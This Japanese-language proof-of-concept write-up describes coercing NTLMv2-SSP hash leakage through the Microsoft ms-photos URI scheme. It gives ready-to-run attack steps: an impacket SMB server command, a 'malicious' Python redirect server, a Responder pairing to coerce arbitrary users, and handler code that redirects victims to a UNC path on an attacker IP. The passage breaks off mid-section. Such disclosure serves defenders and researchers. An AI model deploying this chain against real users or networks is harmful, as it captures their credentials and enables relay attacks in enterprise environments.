
作成者: Ruben Enkaoua
Microsoft ms-photos URIスキームはfileNameをパラメータとして受け取ります。このパラメータにUNCパスを指定すると、開いた際にNTLMv2-SSPハッシュが漏洩します。攻撃者は特別に細工されたリンクを作成することで、被害者をブラウザから直接Microsoft Photosアプリを起動させることができます。この動作がトリガーされると、被害者のNTLMv2-SSPハッシュが攻撃者の管理するサーバーに漏洩します。この問題により、エンタープライズ環境では資格情報の露出や潜在的なリレー攻撃が可能となり、最小限のユーザー操作(アプリを開くこと)のみが必要です。Microsoftはこの脆弱性を認識しておらず、CVEは発行されていません。また、2022年のSyssブログに触発されました。
NTLMv2-SSPチャレンジはパブリックなUNCパスに漏洩する可能性があるため(アウトバウンドSMB/445ファイアウォールルールが設定されていない場合)、この脆弱性はWebサイト感染と組み合わせることでサプライチェーン攻撃につながる可能性があります。
MSDNドキュメントからURIスキームについて以下が確認できます:
SMBサーバーを起動
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
悪意のあるPythonサーバーを起動
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
ロケーションにアクセス
Chromeを開き、/testにアクセスしてください

また、Responderを使用しても実行できます。未解決のドメインがLLMNRリクエストを発行すると、スクリプトにリダイレクトされ、NTLMユーザー/パスワード認証ウィンドウを表示する代わりに任意のユーザーを強制できます。動作させるには、まずスクリプトを実行し、その後Responderを実行してください。

これは、アプリケーションがms-photos URIスキームに直接リダイレクトし、サーバーのUNCパスを含んでいるため機能します:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
クライアント側からのリダイレクト: